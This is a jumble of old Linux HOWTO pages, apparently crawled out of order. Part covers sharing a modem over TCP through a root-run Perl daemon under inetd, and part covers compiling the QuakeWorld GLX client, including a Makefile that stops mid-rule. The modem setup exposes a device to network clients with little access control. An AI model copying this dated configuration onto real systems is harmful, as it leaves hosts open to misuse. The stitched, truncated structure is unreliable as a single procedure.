DialOut/IP presents the shared modem on a new virtual COM port that it adds to Windows. This virtual COM port can be used by Windows programs as if the shared modem is directly connected. Most client applications (including Windows 95 dial-up networking) accept this and work as if there were a real COM port and modem, with the general exception being fax applications or any others that need access to UART control lines. DialOut/IP can be configured to provide telnet protocol processing, but that feature applies to certain modem pool products and not to the Linux setup described in this file. Note that, despite its name, DialOut/IP can be used also by applications that wait for incoming calls.

On http://www.tactical-sw.com/ there is a page for downloading a fully functional evaluation version that times out in 1-2 weeks. Installation and configuration is handled by a setup program, with installation details in the README.TXT file. When you run DialOut/IP, you enter the IP address and port number of the shared modem.

DialOut/IP is a commercial product that is licensed on a per-modem basis, that is, the price depends on the number of modems that you are sharing. The license states that you can install the software on any number of PC's that access the shared modems.

Prev | Home | Next
The Server Side |  | Security Considerations


The Server Side

Modem Sharing mini-HOWTO
Prev Next

2. The Server Side

It is assumed that the server is a Linux system with either:

  • a modem attached to a /dev/ttySx device

  • an 'isdn4linux'-emulated modem mapped to a /dev/ttyIx device

The easiest setup I can think of uses a five lines perl script to implement a modem daemon in /usr/sbin/modemd:

#!/usr/bin/perl
select((select(STDOUT), $| = 1)[$[]);
select((select(STDIN), $| = 1)[$[]);
exec 'cu -s 115200 -l /dev/ttyS1';
die '$0: Cant exec cu: $!\n';

The modem daemon is started by the inetd process if a client connects to the appropriate port as described below. The modemd simply connects the socket handle with STDIN and STDOUT of the cu command and lets cu handle the actual modem device.

The existence of the modem daemon must be made known to the inetd process by updating its configuration file, usually /etc/inetd.conf like:

#
# modem daemon
#
modem stream tcp nowait root /usr/sbin/tcpd /usr/sbin/modemd /dev/ttyS1

In order to make this work, an entry to /etc/services needs to be added like:

modem           2006/tcp        modemd

This associates a symbolic name with an explicit port, 2006 in the example. The portnumber could be any number not already assigned to an existing service. After these changes have been made, a signal must be sent to the inetd process in order to let inetd re-read and process its configuration file:

bash# ps | grep inetd
194  ?  S     0:00 /usr/sbin/inetd

bash# kill -HUP 194

Now the server side is ready to accept requests from clients. The correct function can be verified by:

bash$ telnet localhost modem

Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

You are now connected to the modem. You can now issue AT commands in order to verify the setup:

atz
atz
OK

ati1
ati1
Linux ISDN
OK

^]
telnet>quit
bash$

Instead of using the Perl script as a modem server, there is also a program named Masqdialer available at http://w3.cpwright.com/mserver/.

With Masqdialer you can export any number of modems connected to your server to any host that can connect the server via TCP/IP on a given port with a binary data stream.

2.1. Masqdialer Installation

Before compiling check config.h for compile time options:

  • set the path for the config file to your liking

  • set the path for the lock file to your liking

Do make all.

Copy the binaries (mserver and tcpconn) into a suitable directory such as /usr/local/sbin/. Copy mserver.conf into the path that you specified in config.h.

Masqdialer could be started from one of your system startup scripts. A simple /usr/local/sbin/mserver will run it as a daemon.

2.2. Masqdialer Configuration

A line in mserver.conf could look like this:

5800 /dev/ttyS1      115200,8,N,1    *.foo.org,192.168.2.1

which would mean that a modem connected to /dev/ttyS1 can be connected via port 5800 from anywhere in the domain foo.org and from host 192.168.2.1. Any other hosts are rejected. Pitfall: If you don't specify hosts then ANY host will be allowed to connect. The serial line settings are fixed and cannot be changed from the client side. You can export several modems on a single port. Masqdialer only locks the modem devices by use of UUCP style lock files when they are actually in use thus allowing other programs to take advantage of them.

Prev | Home | Next
Legal Notice |  | The Client Side


QuakeWorld clients

2. QuakeWorld clients

If you'd like a ready to compile distribution of QuakeWorld that has this HOWTO's procedures performed on it already, then you can download it at:

http://www.comptechnews.com/~reaster/index.html#games

Otherwise ...

It seems that the glqwcl.glx binary available at least at www.quakeworld.net in the package qwcl-2.30-glibc-i386-unknown-linux2.0.tar.gz is not compiled properly since on startup, it looks for libglide2x.so.

QuakeWorld clients come in several flavors:

OpenGL:

glqwcl (3dfx only?)

glqwcl.glx (MesaGL/XFree4)

Software only:

qwcl (svgalib)

qwcl.xl1 (x11/svgalib)

  • This HOWTO is only concerned with getting the glqwcl.glx working with XFree86 4.x with GLX.

  • This HOWTO assumes you have a working OpenGL libGL/libglx installation!

If you happen to have an Nvidia card and are interested in a complete HOWTO for installing the Nvidia drivers and an assortment of OpenGL libraries (GLU, glut, Qt, OpenGL man pages), then see the NVIDIA-OpenGL-Configuration_miniHOWTO at:

http://www.linuxdoc.org/HOWTO/mini/Nvidia-OpenGL-Configuration-mini-HOWTO/

Prev | Home | Next
Introduction |  | Download the Quake source


Compile!

6. Compile!

Compile (finally!)

Just run make with no parameters from where the Makefile is located:
    cd q1src/QW
    make

If all goes well, you will have a binary, glqwcl.glx, in the releasei386-glibc directory. Copy glqwcl.glx to another directory (like "qw") and then from a Quake cd or other quake installation, copy the id1 directory and any other game directories you like/have - ctf, Fortress etc - to your new quakeworld directory.

Prev | Home | Next
Fix the mouse grabbing |  | Running glqwcl.glx


Download the Quake source

3. Download the Quake source

Download the Quake source code, q1source.zip, from ftp://ftp.idsoftware.com/idstuff/source/q1source.zip. This zip file contains all versions of Quake1/QuakeWorld.

After compiling (read on first!), you will get version:

    LinuxGL (0.98) QuakeWorld 2.40 (as of this writing, Aug 19, 2000)

Make a directory to hold the quake source:

    mkdir q1src
    cd q1src
    unzip ../q1source.zip
    cd QW
    cp Makefile.Linux Makefile

Prev | Home | Next
QuakeWorld clients |  | Modify the Makefile


LinuxGL (GLX) QuakeWorld Client compile mini-HOWTO

Robert B Easter

reaster@comptechnews.com

Revision History
Revision 1.2 2000-01-04 Revised by: rbe

This miniHOWTO is about how to get the OpenGL/GLX Linux QuakeWorld client compiled and working on systems with standard OpenGL hardware acceleration support.

Table of Contents
1. Introduction
1.1. New Versions of this Document
1.2. Copyright Information
1.3. Disclaimer
2. QuakeWorld clients
3. Download the Quake source
4. Modify the Makefile
5. Fix the mouse grabbing
6. Compile!
7. Running glqwcl.glx
Next
Introduction


Introduction

1. Introduction

This miniHOWTO is about how to get the OpenGL/GLX Linux QuakeWorld client compiled and working on systems with standard OpenGL hardware acceleration support.

This procedure was developed while struggling to get glqwcl.glx to work on a system with Linux Slackware 7.0 (2.2.16), XFree86 4.0.1, a GeForce 256 DDR video card, and NVIDIA's 0.9-4 MesaGL drop-in replacement lib/driver (libGL.so.1.0.4).

1.1. New Versions of this Document

The lastest version of this mini-HOWTO can be found at:

http://www.linuxdoc.org/HOWTO/mini/LinuxGL-QuakeWorld-mini-HOWTO/

If you'd like a ready to compile distribution of QuakeWorld that has this HOWTO's procedures performed on it already, then you can download it at:

http://www.comptechnews.com/~reaster/index.html#games

1.2. Copyright Information

This document is copyrighted (c) 2000 Robert B. Easter and is distributed under the terms of the Linux Documentation Project (LDP) license, stated below.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have any questions, please contact <linux-howto@metalab.unc.edu>

1.3. Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk.

All copyrights are held by their by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

Prev | Home | Next
 |  | QuakeWorld clients


Modify the Makefile

4. Modify the Makefile

The Makefile can use cleaning up and the removal of all Mesa references since the GLX version does not need it. Rather than provide a line by line account of what I did to change the original Makefile, the modified Makefile that I used, and a patch against the original Makefile.Linux to obtain my version of the Makefile, are provided below.

Figure 1. Makefile, cleaned up for compiling the GLX version.

#
# QuakeWorld Makefile for Linux 2.0
#
# Apr '98 by Zoid <zoid@idsoftware.com>
#
# GNU Make required
#
# ELF only
#

MAINDIR=.

BUILD_RELEASE_DIR=bin
CLIENT_DIR=$(MAINDIR)/client
SERVER_DIR=$(MAINDIR)/server

CC=gcc
BASE_CFLAGS=-Wall -Dstricmp=strcasecmp -I$(CLIENT_DIR) -I$(SERVER_DIR)
RELEASE_CFLAGS=$(BASE_CFLAGS) -m486 -ffast-math -fexpensive-optimizations
GLCFLAGS=-DGLQUAKE -DGL_EXT_SHARED

LDFLAGS=-lm
XLDFLAGS=-L/usr/X11R6/lib -lX11 -lXext
GL_X11_LDFLAGS=-L/usr/X11R6/lib -lm -lGL -lX11 -lXext

DO_CC=$(CC) $(CFLAGS) -o $@ -c $<
DO_O_CC=$(CC) -O $(CFLAGS) -o $@ -c $<
DO_GL_CC=$(CC) $(CFLAGS) $(GLCFLAGS) -o $@ -c $<
DO_SERVER_CC=$(CC) -DSERVERONLY $(CFLAGS) -o $@ -c $<

DO_AS=$(CC) $(CFLAGS) -DELF -x assembler-with-cpp -o $@ -c $<
DO_GL_AS=$(CC) $(CFLAGS) $(GLCFLAGS) -DELF -x assembler-with-cpp -o $@ -c $<

#############################################################################
# SETUP AND BUILD
#############################################################################

TARGETS=$(BUILDDIR)/qwsv $(BUILDDIR)/glqwcl.glx $(BUILDDIR)/qwcl.x11

build_release:
    @-mkdir $(BUILD_RELEASE_DIR) \
        $(BUILD_RELEASE_DIR)/client \
        $(BUILD_RELEASE_DIR)/glclient \
        $(BUILD_RELEASE_DIR)/server
    $(MAKE) targets BUILDDIR=$(BUILD_RELEASE_DIR) CFLAGS="$(RELEASE_CFLAGS)"

all: build_release

targets: $(TARGETS)

#############################################################################
# SERVER
#############################################################################

QWSV_OBJS = \
     $(BUILDDIR)/server/pr_cmds.o \
     $(BUILDDIR)/server/pr_edict.o \
     $(BUILDDIR)/server/pr_exec.o \
     $(BUILDDIR)/server/sv_init.o \
     $(BUILDDIR)/server/sv_main.o \
     $(BUILDDIR)/server/sv_nchan.o \
     $(BUILDDIR)/server/sv_ents.o \
     $(BUILDDIR)/server/sv_send.o \
     $(BUILDDIR)/server/sv_move.o \
     $(BUILDDIR)/server/sv_phys.o \
     $(BUILDDIR)/server/sv_user.o \
     $(BUILDDIR)/server/sv_ccmds.o \
     $(BUILDDIR)/server/world.o \
     $(BUILDDIR)/server/sys_unix.o \
     $(BUILDDIR)/server/model.o \
     $(BUILDDIR)/server/cmd.o \
     $(BUILDDIR)/server/common.o \
     $(BUILDDIR)/server/crc.o \
     $(BUILDDIR)/server/cvar.o \
     $(BUILDDIR)/server/mathlib.o \
     $(BUILDDIR)/server/md4.o \
     $(BUILDDIR)/server/zone.o \
     $(BUILDDIR)/server/pmove.o \
     $(BUILDDIR)/server/pmovetst.o \
     $(BUILDDIR)/server/net_chan.o \
     $(BUILDDIR)/server/net_udp.o

$(BUILDDIR)/qwsv : $(QWSV_OBJS)
    $(CC) $(CFLAGS) -o $@ $(QWSV_OBJS) $(LDFLAGS)

$(BUILDDIR)/server/pr_cmds.o :   $(SERVER_DIR)/pr_cmds.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/pr_edict.o :  $(SERVER_DIR)/pr_edict.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/pr_exec.o :   $(SERVER_DIR)/pr_exec.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/sv_init.o :   $(SERVER_DIR)/sv_init.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/sv_main.o :   $(SERVER_DIR)/sv_main.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/sv_nchan.o :  $(SERVER_DIR)/sv_nchan.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/sv_ents.o :   $(SERVER_DIR)/sv_ents.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/sv_send.o :   $(SERVER_DIR)/sv_send.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/sv_move.o :   $(SERVER_DIR)/sv_move.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/sv_phys.o :   $(SERVER_DIR)/sv_phys.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/sv_user.o :   $(SERVER_DIR)/sv_user.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/sv_ccmds.o :  $(SERVER_DIR)/sv_ccmds.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/world.o :     $(SERVER_DIR)/world.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/sys_unix.o :  $(SERVER_DIR)/sys_unix.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/model.o :     $(SERVER_DIR)/model.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/cmd.o :       $(CLIENT_DIR)/cmd.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/common.o :    $(CLIENT_DIR)/common.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/crc.o :       $(CLIENT_DIR)/crc.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/cvar.o :      $(CLIENT_DIR)/cvar.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/mathlib.o :   $(CLIENT_DIR)/mathlib.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/md4.o :       $(CLIENT_DIR)/md4.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/zone.o :      $(CLIENT_DIR)/zone.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/pmove.o :     $(CLIENT_DIR)/pmove.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/pmovetst.o :  $(CLIENT_DIR)/pmovetst.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/net_chan.o :  $(CLIENT_DIR)/net_chan.c
    $(DO_SERVER_CC)

$(BUILDDIR)/server/net_udp.o :   $(CLIENT_DIR)/net_udp.c
    $(DO_SERVER_CC)

#############################################################################
# CLIENT
#############################################################################

QWCL_OBJS = \
    $(BUILDDIR)/client/cl_demo.o \
    $(BUILDDIR)/client/cl_ents.o \
    $(BUILDDIR)/client/cl_input.o \
    $(BUILDDIR)/client/cl_main.o \
    $(BUILDDIR)/client/cl_parse.o \
    $(BUILDDIR)/client/cl_pred.o \
    $(BUILDDIR)/client/cl_tent.o \
    $(BUILDDIR)/client/cl_cam.o \
    $(BUILDDIR)/client/cmd.o \
    $(BUILDDIR)/client/common.o \
    $(BUILDDIR)/client/console.o \
    $(BUILDDIR)/client/crc.o \
    $(BUILDDIR)/client/cvar.o \
    $(BUILDDIR)/client/d_edge.o \
    $(BUILDDIR)/client/d_fill.o \
    $(BUILDDIR)/client/d_init.o \
    $(BUILDDIR)/client/d_modech.o \
    $(BUILDDIR)/client/d_part.o \
    $(BUILDDIR)/client/d_polyse.o \
    $(BUILDDIR)/client/d_scan.o \
    $(BUILDDIR)/client/d_sky.o \
    $(BUILDDIR)/client/d_sprite.o \
    $(BUILDDIR)/client/d_surf.o \
    $(BUILDDIR)/client/d_vars.o \
    $(BUILDDIR)/client/d_zpoint.o \
    $(BUILDDIR)/client/draw.o \
    $(BUILDDIR)/client/keys.o \
    $(BUILDDIR)/client/mathlib.o \
    $(BUILDDIR)/client/md4.o \
    $(BUILDDIR)/client/menu.o \
    $(BUILDDIR)/client/model.o \
    $(BUILDDIR)/client/net_chan.o \
    $(BUILDDIR)/client/net_udp.o \
    $(BUILDDIR)/client/nonintel.o \
    $(BUILDDIR)/client/pmove.o \
    $(BUILDDIR)/client/pmovetst.o \
    $(BUILDDIR)/client/r_aclip.o \
    $(BUILDDIR)/client/r_alias.o \
    $(BUILDDIR)/client/r_bsp.o \
    $(BUILDDIR)/client/r_draw.o \
    $(BUILDDIR)/client/r_edge.o \
    $(BUILDDIR)/client/r_efrag.o \
    $(BUILDDIR)/client/r_light.o \
    $(BUILDDIR)/client/r_main.o \
    $(BUILDDIR)/client/r_misc.o \
    $(BUILDDIR)/client/r_part.o \
    $(BUILDDIR)/client/r_sky.o \
    $(BUILDDIR)/client/r_sprite.o \
    $(BUILDDIR)/client/r_surf.o \
    $(BUILDDIR)/client/r_vars.o \
    $(BUILDDIR)/client/sbar.o \
    $(BUILDDIR)/client/screen.o \
    $(BUILDDIR)/client/skin.o \
    $(BUILDDIR)/client/snd_dma.o \
    $(BUILDDIR)/client/snd_mem.o \
    $(BUILDDIR)/client/snd_mix.o \
    $(BUILDDIR)/client/view.o \
    $(BUILDDIR)/client/wad.o \
    $(BUILDDIR)/client/zone.o \
    $(BUILDDIR)/client/cd_linux.o \
    $(BUILDDIR)/client/sys_linux.o \
    $(BUILDDIR)/client/snd_linux.o \

    QWCL_AS_OBJS = \
    $(BUILDDIR)/client/d_copy.o \
    $(BUILDDIR)/client/d_draw.o \
    $(BUILDDIR)/client/d_draw16.o \
    $(BUILDDIR)/client/d_parta.o \
    $(BUILDDIR)/client/d_polysa.o \
    $(BUILDDIR)/client/d_scana.o \
    $(BUILDDIR)/client/d_spr8.o \
    $(BUILDDIR)/client/d_varsa.o \
    $(BUILDDIR)/client/math.o \
    $(BUILDDIR)/client/r_aclipa.o \
    $(BUILDDIR)/client/r_aliasa.o \
    $(BUILDDIR)/client/r_drawa.o \
    $(BUILDDIR)/client/r_edgea.o \
    $(BUILDDIR)/client/r_varsa.o \
    $(BUILDDIR)/client/snd_mixa.o \
    $(BUILDDIR)/client/surf16.o \
    $(BUILDDIR)/client/surf8.o \
    $(BUILDDIR)/client/sys_dosa.o

QWCL_X11_OBJS = $(BUILDDIR)/client/vid_x.o

$(BUILDDIR)/qwcl.x11 : $(QWCL_OBJS) $(QWCL_AS_OBJS) $(QWCL_X11_OBJS)
    $(CC) $(CFLAGS) -o $@ $(QWCL_OBJS) $(QWCL_AS_OBJS) $(QWCL_X11_OBJS) \
        $(LDFLAGS) $(XLDFLAGS)

$(BUILDDIR)/client/cl_demo.o :        $(CLIENT_DIR)/cl_demo.c
    $(DO_CC)

$(BUILDDIR)/client/cl_ents.o :        $(CLIENT_DIR)/cl_ents.c
    $(DO_CC)

$(BUILDDIR)/client/cl_input.o :       $(CLIENT_DIR)/cl_input.c
    $(DO_CC)

$(BUILDDIR)/client/cl_main.o :        $(CLIENT_DIR)/cl_main.c
    $(DO_CC)

$(BUILDDIR)/client/cl_parse.o :       $(CLIENT_DIR)/cl_parse.c
    $(DO_CC)

$(BUILDDIR)/client/cl_pred.o :        $(CLIENT_DIR)/cl_pred.c
    $(DO_CC)

$(BUILDDIR)/client/cl_tent.o :        $(CLIENT_DIR)/cl_tent.c
    $(DO_CC)

$(BUILDDIR)/client/cl_cam.o :         $(CLIENT_DIR)/cl_cam.c
    $(DO_CC)

$(BUILDDIR)/client/cmd.o :            $(CLIENT_DIR)/cmd.c
    $(DO_CC)

$(BUILDDIR)/client/common.o :         $(CLIENT_DIR)/common.c
    $(DO_CC)

$(BUILDDIR)/client/console.o :        $(CLIENT_DIR)/console.c
    $(DO_CC)

$(BUILDDIR)/client/crc.o :            $(CLIENT_DIR)/crc.c
    $(DO_CC)

$(BUILDDIR)/client/cvar.o :           $(CLIENT_DIR)/cvar.c
    $(DO_CC)

$(BUILDDIR)/client/d_edge.o :         $(CLIENT_DIR)/d_edge.c
    $(DO_CC)

$(BUILDDIR)/client/d_fill.o :         $(CLIENT_DIR)/d_fill.c
    $(DO_CC)

$(BUILDDIR)/client/d_init.o :         $(CLIENT_DIR)/d_init.c
    $(DO_CC)

$(BUILDDIR)/client/d_modech.o :       $(CLIENT_DIR)/d_modech.c
    $(DO_CC)

$(BUILDDIR)/client/d_part.o :         $(CLIENT_DIR)/d_part.c
    $(DO_CC)

$(BUILDDIR)/client/d_polyse.o :       $(CLIENT_DIR)/d_polyse.c
    $(DO_CC)

$(BUILDDIR)/client/d_scan.o :         $(CLIENT_DIR)/d_scan.c
    $(DO_CC)

$(BUILDDIR)/client/d_sky.o :          $(CLIENT_DIR)/d_sky.c
    $(DO_CC)

$(BUILDDIR)/client/d_sprite.o :       $(CLIENT_DIR)/d_sprite.c
    $(DO_CC)

$(BUILDDIR)/client/d_surf.o :         $(CLIENT_DIR)/d_surf.c
    $(DO_CC)

$(BUILDDIR)/client/d_vars.o :         $(CLIENT_DIR)/d_vars.c
    $(DO_CC)

$(BUILDDIR)/client/d_zpoint.o :       $(CLIENT_DIR)/d_zpoint.c
    $(DO_CC)

$(BUILDDIR)/client/draw.o :           $(CLIENT_DIR)/draw.c
    $(DO_CC)

$(BUILDDIR)/client/keys.o :           $(CLIENT_DIR)/keys.c
    $(DO_CC)

$(BUILDDIR)/client/mathlib.o :        $(CLIENT_DIR)/mathlib.c
    $(DO_CC)

$(BUILDDIR)/client/md4.o :            $(CLIENT_DIR)/md4.c
    $(DO_CC)

$(BUILDDIR)/client/menu.o :           $(CLIENT_DIR)/menu.c
    $(DO_CC)

$(BUILDDIR)/client/model.o :          $(CLIENT_DIR)/model.c
    $(DO_CC)

$(BUILDDIR)/client/net_chan.o :       $(CLIENT_DIR)/net_chan.c
    $(DO_CC)

$(BUILDDIR)/client/net_udp.o :        $(CLIENT_DIR)/net_udp.c
    $(DO_CC)

$(BUILDDIR)/client/nonintel.o :       $(CLIENT_DIR)/nonintel.c
    $(DO_CC)

$(BUILDDIR)/client/pmove.o :          $(CLIENT_DIR)/pmove.c
    $(DO_CC)

$(BUILDDIR)/client/pmovetst.o :       $(CLIENT_DIR)/pmovetst.c
    $(DO_CC)

$(BUILDDIR)/client/r_aclip.o :        $(CLIENT_DIR)/r_aclip.c
    $(DO_CC)

$(BUILDDIR)/client/r_alias.o :        $(CLIENT_DIR)/r_alias.c
    $(DO_CC)

$(BUILDDIR)/client/r_bsp.o :          $(CLIENT_DIR)/r_bsp.c
    $(DO_CC)

$(BUILDDIR)/client/r_draw.o :         $(CLIENT_DIR)/r_draw.c
    $(DO_CC)

$(BUILDDIR)/client/r_edge.o :         $(CLIENT_DIR)/r_edge.c
    $(DO_CC)

$(BUILDDIR)/client/r_efrag.o :        $(CLIENT_DIR)/r_efrag.c
    $(DO_CC)

$(BUILDDIR)/client/r_light.o :        $(CLIENT_DIR)/r_light.c
    $(DO_CC)

$(BUILDDIR)/client/r_main.o :         $(CLIENT_DIR)/r_main.c
    $(DO_CC)

$(BUILDDIR)/client/r_misc.o :         $(CLIENT_DIR)/r_misc.c
    $(DO_CC)

$(BUILDDIR)/client/r_part.o :         $(CLIENT_DIR)/r_part.c
    $(DO_CC)

$(BUILDDIR)/client/r_sky.o :          $(CLIENT_DIR)/r_sky.c
    $(DO_CC)

$(BUILDDIR)/client/r_sprite.o :       $(CLIENT_DIR)/r_sprite.c
    $(DO_CC)

$(BUILDDIR)/client/r_surf.o :         $(CLIENT_DIR)/r_surf.c
    $(DO_CC)

$(BUILDDIR)/client/r_vars.o :         $(CLIENT_DIR)/r_vars.c
    $(DO_CC)

$(BUILDDIR)/client/sbar.o :           $(CLIENT_DIR)/sbar.c
    $(DO_CC)

$(BUILDDIR)/client/screen.o :         $(CLIENT_DIR)/screen.c
    $(DO_CC)

$(BUILDDIR)/client/skin.o :           $(CLIENT_DIR)/skin.c
    $(DO_CC)

$(BUILDDIR)/client/snd_dma.o :        $(CLIENT_DIR)/snd_dma.c
    $(DO_CC)

$(BUILDDIR)/client/snd_mem.o :        $(CLIENT_DIR)/snd_mem.c
    $(DO_CC)

$(BUILDDIR)/client/snd_mix.o :        $(CLIENT_DIR)/snd_mix.c
    $(DO_CC)

$(BUILDDIR)/client/view.o :           $(CLIENT_DIR)/view.c
    $(DO_CC)

$(BUILDDIR)/client/wad.o :            $(CLIENT_DIR)/wad.c
    $(DO_CC)

$(BUILDDIR)/client/zone.o :           $(CLIENT_DIR)/zone.c
    $(DO_CC)

$(BUILDDIR)/client/cd_linux.o :       $(CLIENT_DIR)/cd_linux.c
    $(DO_CC)

$(BUILDDIR)/client/sys_linux.o :      $(CLIENT_DIR)/sys_linux.c
    $(DO_CC)

$(BUILDDIR)/client/snd_linux.o :      $(CLIENT_DIR)/snd_linux.c
    $(DO_CC)

$(BUILDDIR)/client/d_copy.o :         $(CLIENT_DIR)/d_copy.s
    $(DO_AS)

$(BUILDDIR)/client/d_draw.o :         $(CLIENT_DIR)/d_draw.s
    $(DO_AS)

$(BUILDDIR)/client/d_draw16.o :       $(CLIENT_DIR)/d_draw16.s
    $(DO_AS)

$(BUILDDIR)/client/d_parta.o :        $(CLIENT_DIR)/d_parta.s
    $(DO_AS)

$(BUILDDIR)/client/d_polysa.o :       $(CLIENT_DIR)/d_polysa.s
    $(DO_AS)

$(BUILDDIR)/client/d_scana.o :        $(CLIENT_DIR)/d_scana.s
    $(DO_AS)

$(BUILDDIR)/client/d_spr8.o :         $(CLIENT_DIR)/d_spr8.s
    $(DO_AS)

$(BUILDDIR)/client/d_varsa.o :        $(CLIENT_DIR)/d_varsa.s
    $(DO_AS)

$(BUILDDIR)/client/math.o :           $(CLIENT_DIR)/math.s
    $(DO_AS)

$(BUILDDIR)/client/r_aclipa.o :       $(CLIENT_DIR)/r_aclipa.s
    $(DO_AS)

$(BUILDDIR)/client/r_aliasa.o :       $(CLIENT_DIR)/r_aliasa.s
    $(DO_AS)

$(BUILDDIR)/client/r_drawa.o :        $(CLIENT_DIR)/r_drawa.s
    $(DO_AS)

$(BUILDDIR)/client/r_edgea.o :        $(CLIENT_DIR)/r_edgea.s
    $(DO_AS)

$(BUILDDIR)/client/r_varsa.o :        $(CLIENT_DIR)/r_varsa.s
    $(DO_AS)

$(BUILDDIR)/client/snd_mixa.o :       $(CLIENT_DIR)/snd_mixa.s
    $(DO_AS)

$(BUILDDIR)/client/surf16.o :         $(CLIENT_DIR)/surf16.s
    $(DO_AS)

$(BUILDDIR)/client/surf8.o :          $(CLIENT_DIR)/surf8.s
    $(DO_AS)

$(BUILDDIR)/client/sys_dosa.o :       $(CLIENT_DIR)/sys_dosa.s
    $(DO_AS)

$(BUILDDIR)/client/vid_x.o : $(CLIENT_DIR)/vid_x.c
    $(DO_CC)

#############################################################################
# GL CLIENT
#############################################################################

GLQWCL_OBJS = \
    $(BUILDDIR)/glclient/cl_demo.o \
    $(BUILDDIR)/glclient/cl_ents.o \
    $(BUILDDIR)/glclient/cl_input.o \
    $(BUILDDIR)/glclient/cl_main.o \
    $(BUILDDIR)/glclient/cl_parse.o \
    $(BUILDDIR)/glclient/cl_pred.o \
    $(BUILDDIR)/glclient/cl_tent.o \
    $(BUILDDIR)/glclient/cl_cam.o \
    $(BUILDDIR)/glclient/cmd.o \
    $(BUILDDIR)/glclient/common.o \
    $(BUILDDIR)/glclient/console.o \
    $(BUILDDIR)/glclient/crc.o \
    $(BUILDDIR)/glclient/cvar.o \
    $(BUILDDIR)/glclient/keys.o \
    $(BUILDDIR)/glclient/mathlib.o \
    $(BUILDDIR)/glclient/md4.o \
    $(BUILDDIR)/glclient/menu.o \
    $(BUILDDIR)/glclient/net_chan.o \
    $(BUILDDIR)/glclient/net_udp.o \
    $(BUILDDIR)/glclient/nonintel.o \
    $(BUILDDIR)/glclient/pmove.o \
    $(BUILDDIR)/glclient/pmovetst.o \
    $(BUILDDIR)/glclient/r_part.o \
    $(BUILDDIR)/glclient/sbar.o \
    $(BUILDDIR)/glclient/skin.o \
    $(BUILDDIR)/glclient/snd_dma.o \
    $(BUILDDIR)/glclient/snd_mem.o \
    $(BUILDDIR)/glclient/snd_mix.o \
    $(BUILDDIR)/glclient/view.o \
    $(BUILDDIR)/glclient/wad.o \
    $(BUILDDIR)/glclient/zone.o \
    $(BUILDDIR)/glclient/cd_linux.o \
    $(BUILDDIR)/glclient/sys_linux.o \
    $(BUILDDIR)/glclient/snd_linux.o \
    \
    $(BUILDDIR)/glclient/gl_draw.o \
    $(BUILDDIR)/glclient/gl_mesh.o \
    $(BUILDDIR)/glclient/gl_model.o \
    $(BUILDDIR)/glclient/gl_ngraph.o \
    $(BUILDDIR)/glclient/gl_refrag.o \
    $(BUILDDIR)/glclient/gl_rlight.o \
    $(BUILDDIR)/glclient/gl_rmain.o \
    $(BUILDDIR)/glclient/gl_rmisc.o \
    $(BUILDDIR)/glclient/gl_rsurf.o \
    $(BUILDDIR)/glclient/gl_screen.o \
    $(BUILDDIR)/glclient/gl_warp.o \
    \
    $(BUILDDIR)/glclient/math.o \
    $(BUILDDIR)/glclient/snd_mixa.o \
    $(BUILDDIR)/glclient/sys_dosa.o

GLQWCL_X11_OBJS = $(BUILDDIR)/glclient/gl_vidlinuxglx.o

$(BUILDDIR)/glqwcl.glx : $(GLQWCL_OBJS) $(GLQWCL_X11_OBJS)
    $(CC) $(CFLAGS) -o $@ $(GLQWCL_OBJS) $(GLQWCL_X11_OBJS) $(LDFLAGS) $(GL_X11_LDFLAGS)

$(BUILDDIR)/glclient/cl_demo.o :       $(CLIENT_DIR)/cl_demo.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/cl_ents.o :       $(CLIENT_DIR)/cl_ents.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/cl_input.o :      $(CLIENT_DIR)/cl_input.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/cl_main.o :       $(CLIENT_DIR)/cl_main.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/cl_parse.o :      $(CLIENT_DIR)/cl_parse.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/cl_pred.o :       $(CLIENT_DIR)/cl_pred.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/cl_tent.o :       $(CLIENT_DIR)/cl_tent.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/cl_cam.o :        $(CLIENT_DIR)/cl_cam.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/cmd.o :           $(CLIENT_DIR)/cmd.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/common.o :        $(CLIENT_DIR)/common.c
